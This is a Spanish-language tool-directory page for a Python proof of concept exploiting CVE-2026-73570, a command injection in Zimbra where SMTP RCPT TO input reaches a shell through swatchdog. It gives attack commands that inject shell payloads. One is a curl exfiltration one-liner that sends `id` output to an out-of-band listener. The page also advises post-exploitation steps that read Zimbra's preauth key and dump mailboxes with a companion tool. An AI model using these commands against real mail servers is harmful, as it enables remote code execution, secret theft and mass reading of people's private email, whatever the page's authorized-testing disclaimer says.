Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2026-73570 — Python PoC para CVE-2026-73570, una inyección de comandos SMTP en Zimbra. Envía payloads malformados de RCPT TO para desencadenar la ejecución de comandos de shell a través de swatchdog, con escaneo automático de puertos y verificación OOB. | Kitploit
Herramientas/GitHubGitHub/jishino567/cve-2026-73570
Análisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebPost-ExplotaciónPruebas de PenetraciónSeguridad de Correo Electrónico
GitHubjishino567/cve-2026-73570

CVE-2026-73570

Python PoC para CVE-2026-73570, una inyección de comandos SMTP en Zimbra. Envía payloads malformados de RCPT TO para desencadenar la ejecución de comandos de shell a través de swatchdog, con escaneo automático de puertos y verificación OOB.

Ver Repositorio
2110hace 22 díasAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2026-73570 PoC - Probador de Inyección de Comandos SMTP

Un script personalizado de prueba de concepto (PoC) en Python de bajo nivel para probar vulnerabilidades de inyección de comandos SMTP (CVE-2026-73570).

Esta herramienta envía una dirección RCPT TO malformada que contiene sustitución de comandos estilo shell (por ejemplo, $(comando)) para determinar si el servidor de correo objetivo o su pipeline de procesamiento posterior pasa incorrectamente la dirección a través de un shell sin sanitización.

⚠️ AVISO: Esta herramienta está destinada únicamente a fines educativos y pruebas de seguridad autorizadas. Asegúrate de tener permiso explícito para probar la infraestructura objetivo. El escaneo o la explotación no autorizados de servidores de correo es ilegal.

Información del Bug (Dirigido a Zimbra)

No todos los servidores Zimbra son vulnerables. Todas estas condiciones deben cumplirse:

  1. El paquete opcional zimbra-snmp está instalado (a menudo se solicita durante la instalación).
  2. Las notificaciones de trampas SNMP están habilitadas (snmp_notify).
  3. El servicio swatchdog está en ejecución (activado por defecto).

Superficie de ataque: El ataque no necesita que SNMP (UDP/161/162) esté expuesto al atacante. La entrada maliciosa llega a través de SMTP estándar.

La Causa Raíz

El proceso swatchdog sigue el archivo /var/log/zimbra.log utilizando la configuración de /opt/zimbra/conf/swatchrc.in. Coincide activamente con las entradas de registro utilizando las siguientes expresiones regulares:

root@kitploit:~
/: Service status change: (\S+) (.*) changed from stopped to running/
/: Service status change: (\S+) (.*) changed from running to stopped/

El grupo de captura (.*) se trata como un nombre de servicio. El script dosnmp luego interpola ese texto capturado directamente en un comando Perl de backtick snmptrap. Debido a que los backticks de Perl se ejecutan a través del shell del sistema, cualquier metacarácter de shell capturado en (.*) se evalúa y ejecuta.

El Vector de Inyección

Los atacantes introducen el texto malicioso en el registro enviando un comando SMTP (como RCPT TO) cuyo argumento parece una línea real de estado de servicio. Postfix registra esto como sintaxis de dirección ilegal, pero swatchdog aún coincide con la expresión regular en la línea de registro y pasa el payload al shell.


Características

  • Cliente SMTP personalizado de bajo nivel: Omite la validación interna de direcciones de smtplib estándar de Python para enviar payloads crudos que no cumplen con RFC exactamente como lo haría un atacante.
  • Escaneo automático de puertos: Escanea automáticamente los puertos SMTP abiertos (25, 465, 587) y selecciona uno disponible.
  • Soporte SSL/TLS implícito: Negocia automáticamente SSL/TLS si se dirige al puerto 465 (SMTPS).
  • Inyección de payload personalizado: Acepta comandos de shell arbitrarios a través de la bandera --command.
  • Interfaz CLI limpia: Construida con argparse para una fácil integración en flujos de trabajo de pruebas.

Requisitos previos

  • Python 3.6+
  • Sin dependencias externas requeridas (solo utiliza la biblioteca estándar de Python)

Instalación

Guarda el script en un archivo llamado CVE-2026-73570.py (o cualquier nombre que prefieras):

root@kitploit:~
# Ejemplo: descargar o crear el archivo
nano CVE-2026-73570.py

Uso

Puedes ejecutar el script de varias maneras dependiendo de tu escenario de prueba.

1. Escaneo automático y ejecución

Si no especificas un puerto, el script escaneará los puertos 25, 465 y 587, y automáticamente se dirigirá al primero que esté abierto.

root@kitploit:~
python3 CVE-2026-73570.py --host 127.0.0.1 --command "curl http://your-unique-id.requestrepo.com"

2. Dirigirse a un puerto específico

Si ya conoces el puerto objetivo (por ejemplo, 465), puedes omitir la adivinanza del escaneo.

root@kitploit:~
python3 CVE-2026-73570.py --host 127.0.0.1 --port 465 --command "curl http://your-unique-id.requestrepo.com"

3. Solo escaneo (reconocimiento)

Si solo quieres verificar qué puertos de correo están abiertos en un objetivo sin enviar el payload.

root@kitploit:~
python3 CVE-2026-73570.py --host 127.0.0.1 --scan-only

Argumentos de línea de comandos

ArgumentoCortoDescripciónPredeterminado
--host-HIP o dominio del host objetivo.127.0.0.1
--port-pPuerto objetivo. Si se omite, escanea 25, 465, 587 y se dirige a uno abierto.None (Auto)
--command-cComando de shell a inyectar en el payload SMTP.TEST_PAYLOAD
--scan-only-sSolo escanear puertos y salir sin enviar el payload de inyección.False

Cómo verificar el exploit

Ejecutar el script solo demuestra que el servidor de correo recibe la dirección RCPT TO malformada. Para confirmar la inyección de comandos real sin necesidad de acceso directo al sistema de archivos o registros del objetivo, utiliza una devolución de llamada fuera de banda (OOB) a través de HTTP.

  1. Configura un listener: Ve a requestrepo.com (o usa Burp Suite Collaborator / Webhook.site) y copia tu URL única (por ejemplo, http://xyz123.requestrepo.com).
  2. Ejecuta el PoC: Ejecuta el script usando curl para alcanzar tu URL única:
    root@kitploit:~
    python3 CVE-2026-73570.py --host 127.0.0.1 --command "curl http://xyz123.requestrepo.com"
    
  3. Verifica las devoluciones de llamada: Actualiza tu panel de Request Repo. Si ves una solicitud HTTP GET entrante, la inyección de comandos fue exitosa.

Pro-Tip (Exfiltración de datos): Puedes exfiltrar la salida de los comandos inyectándola en la ruta URL de tu devolución de llamada:

root@kitploit:~
python3 CVE-2026-73570.py --host 127.0.0.1 --command "curl http://xyz123.requestrepo.com/$(id | tr -d ' ')"

Revisa tu panel de Request Repo para ver la salida uid=0(root) en la ruta solicitada.

⚠️ Nota importante: "Acceso denegado" no significa "parche aplicado"

Durante las pruebas, puedes recibir una respuesta SMTP como esta:

root@kitploit:~
[<] RCPT TO: 554 554 5.7.1 <[email protected]>: Recipient address rejected: Access denied

NO asumas que la vulnerabilidad ha fallado simplemente porque la dirección fue rechazada.

Muchos servidores de correo (como Postfix o Exim) aceptarán sintácticamente el payload durante la transacción SMTP, pero inmediatamente rechazarán el intento de entrega porque el dominio/destinatario no está en su lista de relay permitida.

La vulnerabilidad CVE-2026-73570 se activa después de que ocurre este rechazo. La cadena maliciosa fluye hacia /var/log/zimbra.log como una entrada de registro de sintaxis de dirección ilegal. swatchdog sigue este registro, coincide con el payload y lo pasa al shell.

Debido a que el payload aún llega a estos sistemas backend para el registro, la sustitución de comandos ($()) aún se ejecuta. Confía siempre en tu devolución de llamada OOB (por ejemplo, Request Repo) para verificar el éxito, independientemente del código de respuesta SMTP.

Post-explotación

Una vez que se logra la ejecución de comandos a través de la inyección de swatchdog, el atacante típicamente opera como el usuario zimbra. Desde aquí, el objetivo principal suele ser acceder a los datos del buzón de correo.

Para facilitar este siguiente paso, puedes usar zimbraKing — una herramienta personalizada diseñada para volcar buzones de correo de Zimbra.

  • Repositorio: https://github.com/jishino567/zimbraKing

Escenario de uso: Durante tu fase de post-explotación, si puedes leer los archivos de configuración de Zimbra y extraer la preAuthKey (generalmente encontrada en /opt/zimbra/conf/localconfig.xml bajo la clave zimbra_preauth_key) o si obtienes credenciales válidas de cuenta de Zimbra, puedes introducirlas en zimbraKing.

La herramienta aprovecha la preAuthKey o las credenciales de la cuenta para autenticarse contra la API SOAP de Zimbra y volcar sistemáticamente el contenido del buzón objetivo sin necesidad de interactuar directamente con la base de datos subyacente o el sistema de archivos.

¿Por qué no usar smtplib?

El smtplib integrado de Python aplica estándares RFC estrictos. Si intentas pasar una dirección que contenga ", $, (, y ) a través de smtplib.sendmail(), la biblioteca ya sea modificará la cadena para hacerla "segura" o lanzará una excepción SMTPRecipientsRefused antes de que los datos lleguen a la red. Este cliente personalizado utiliza sockets crudos para garantizar la entrega byte por byte del payload del exploit.

Descargar herramienta